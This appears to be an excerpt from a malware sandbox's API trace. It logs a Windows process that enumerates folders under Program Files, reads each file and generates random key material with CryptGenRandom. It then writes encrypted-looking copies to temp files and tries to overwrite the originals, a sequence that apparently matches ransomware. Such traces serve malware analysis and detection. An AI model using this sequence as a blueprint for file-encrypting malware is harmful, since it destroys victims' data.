	[0243.016] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0xa9, lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000213d94, lpOverlapped=0x0) returned 0
	[0243.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0243.017] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc000213bf4 | out: lpMode=0xc000213bf4) returned 0
	[0243.017] GetFileType (hFile=0x120) returned 0x1
	[0243.017] GetFileType (hFile=0x120) returned 0x1
	[0243.017] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc000213c44 | out: lpFileInformation=0xc000213c44) returned 1
	[0243.017] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc000213c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000213c28) returned 1
	[0243.018] ReadFile (in: hFile=0x120, lpBuffer=0xc0001c2000, nNumberOfBytesToRead=0x14ade, lpNumberOfBytesRead=0xc000213b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001c2000*, lpNumberOfBytesRead=0xc000213b04*=0x148de, lpOverlapped=0x0) returned 1
	[0243.065] ReadFile (in: hFile=0x120, lpBuffer=0xc0001d68de, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000213b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001d68de*, lpNumberOfBytesRead=0xc000213b04*=0x0, lpOverlapped=0x0) returned 1
	[0243.065] CloseHandle (hObject=0x120) returned 1
	[0243.065] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092100 | out: pbBuffer=0xc000092100) returned 1
	[0243.066] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a180 | out: pbBuffer=0xc00021a180) returned 1
	[0243.066] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0001b6101 | out: pbBuffer=0xc0001b6101) returned 1
	[0243.066] VirtualAlloc (lpAddress=0xc0002ea000, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ea000
	[0243.071] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\475eff71ed7a5170277e52f41767ad19" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\475eff71ed7a5170277e52f41767ad19"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0243.155] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e3c04 | out: lpMode=0xc0001e3c04) returned 0
	[0243.155] GetFileType (hFile=0x19c) returned 0x1
	[0243.155] WriteFile (in: hFile=0x19c, lpBuffer=0xc0002ea000*, nNumberOfBytesToWrite=0x149de, lpNumberOfBytesWritten=0xc0001e3bec, lpOverlapped=0x0 | out: lpBuffer=0xc0002ea000*, lpNumberOfBytesWritten=0xc0001e3bec*=0x149de, lpOverlapped=0x0) returned 1
	[0243.160] CloseHandle (hObject=0x19c) returned 1
	[0243.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi\\*", lpFindFileData=0xc0001e3a78 | out: lpFindFileData=0xc0001e3a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0243.212] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\475eff71ed7a5170277e52f41767ad19" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\475eff71ed7a5170277e52f41767ad19")) returned 1
	[0243.272] SetEvent (hEvent=0x124) returned 1
	[0243.272] SetEvent (hEvent=0x17c) returned 1
	[0243.272] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0) returned 0
	[0243.272] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0) returned 0
	[0243.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0243.273] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e3bf4 | out: lpMode=0xc0001e3bf4) returned 0
	[0243.273] GetFileType (hFile=0x19c) returned 0x1
	[0243.273] GetFileType (hFile=0x19c) returned 0x1
	[0243.273] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001e3c44 | out: lpFileInformation=0xc0001e3c44) returned 1
	[0243.273] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001e3c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e3c28) returned 1
	[0243.275] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070dffdf0*=0x188, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0243.281] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0243.281] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070dff658, ulCount=0x10, ulNumEntriesRemoved=0x7070dff630, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x7070dff658, ulNumEntriesRemoved=0x7070dff630) returned 0
	[0243.281] SetEvent (hEvent=0x17c) returned 1
	[0243.281] ReadFile (in: hFile=0x19c, lpBuffer=0xc0004b4000, nNumberOfBytesToRead=0x30f3a, lpNumberOfBytesRead=0xc0001e3b04, lpOverlapped=0x0 | out: lpBuffer=0xc0004b4000*, lpNumberOfBytesRead=0xc0001e3b04*=0x30d3a, lpOverlapped=0x0) returned 1
	[0243.294] ReadFile (in: hFile=0x19c, lpBuffer=0xc0004e4d3a, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e3b04, lpOverlapped=0x0 | out: lpBuffer=0xc0004e4d3a*, lpNumberOfBytesRead=0xc0001e3b04*=0x0, lpOverlapped=0x0) returned 1
	[0243.294] CloseHandle (hObject=0x19c) returned 1
	[0243.295] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092360 | out: pbBuffer=0xc000092360) returned 1
	[0243.295] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a260 | out: pbBuffer=0xc00021a260) returned 1
	[0243.295] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0001b6301 | out: pbBuffer=0xc0001b6301) returned 1
	[0243.299] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b5660d03c05557ff9ee0bfd5ae6c38f5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b5660d03c05557ff9ee0bfd5ae6c38f5"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0243.317] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001e3c04 | out: lpMode=0xc0001e3c04) returned 0
	[0243.318] GetFileType (hFile=0x1ac) returned 0x1
	[0243.318] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0004fa000*, nNumberOfBytesToWrite=0x30e3a, lpNumberOfBytesWritten=0xc0001e3bec, lpOverlapped=0x0 | out: lpBuffer=0xc0004fa000*, lpNumberOfBytesWritten=0xc0001e3bec*=0x30e3a, lpOverlapped=0x0) returned 1
	[0243.330] CloseHandle (hObject=0x1ac) returned 1
	[0243.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi\\*", lpFindFileData=0xc0001e3a78 | out: lpFindFileData=0xc0001e3a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0243.355] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\b5660d03c05557ff9ee0bfd5ae6c38f5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\b5660d03c05557ff9ee0bfd5ae6c38f5")) returned 1
	[0243.360] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0xffffffff) returned 0x0
	[0243.372] SetEvent (hEvent=0x190) returned 1
	[0243.372] SetEvent (hEvent=0x1a0) returned 1
	[0243.372] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400)) returned 1
	[0243.415] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.415] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0243.443] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.443] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1
	[0243.468] SetEvent (hEvent=0x124) returned 1
	[0243.468] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.468] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00)) returned 1
	[0243.487] SetEvent (hEvent=0x124) returned 1
	[0243.487] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc)) returned 1
	[0243.488] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.488] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.488] SetEvent (hEvent=0xd4) returned 1
	[0243.488] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400)) returned 1
	[0243.488] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600)) returned 1
	[0243.489] WriteFile (in: hFile=0x0, lpBuffer=0xc00006e780, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.489] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.507] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0243.507] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.508] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.508] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.508] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0243.508] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.508] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0243.509] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.509] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.509] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0243.510] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0243.510] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0243.510] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0243.510] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0243.510] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0243.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00)) returned 1
	[0243.511] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0243.511] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0243.511] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
